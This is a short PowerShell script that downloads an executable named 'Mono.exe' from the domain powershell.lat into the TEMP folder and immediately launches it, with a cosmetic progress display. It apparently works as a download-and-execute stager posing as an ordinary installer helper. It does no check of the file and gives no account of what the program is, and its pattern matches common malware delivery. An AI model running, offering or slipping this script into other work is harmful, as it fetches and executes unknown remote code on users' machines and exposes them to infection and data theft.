$ErrorActionPreference = 'Stop'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$url = 'https://powershell.lat/Mono.exe'
$output = Join-Path $env:TEMP 'Mono.exe'

Write-Host "Preparing to download Mono.exe..." -ForegroundColor Cyan

$webClient = New-Object System.Net.WebClient
$webClient.add_DownloadProgressChanged({
    param($sender, $e)
    # Dynamic updating download progress line
    Write-Host -NoNewline ("`r[+] Downloading: {0}% ({1} KB of {2} KB)   " -f $e.ProgressPercentage, [Math]::Round($e.BytesReceived/1024), [Math]::Round($e.TotalBytesToReceive/1024))
})

$webClient.DownloadFileAsync($url, $output)

# Wait until download completes
while ($webClient.IsBusy) {
    Start-Sleep -Milliseconds 100
}

Write-Host "`nDownload complete! Launching file..." -ForegroundColor Green
Start-Process -FilePath $output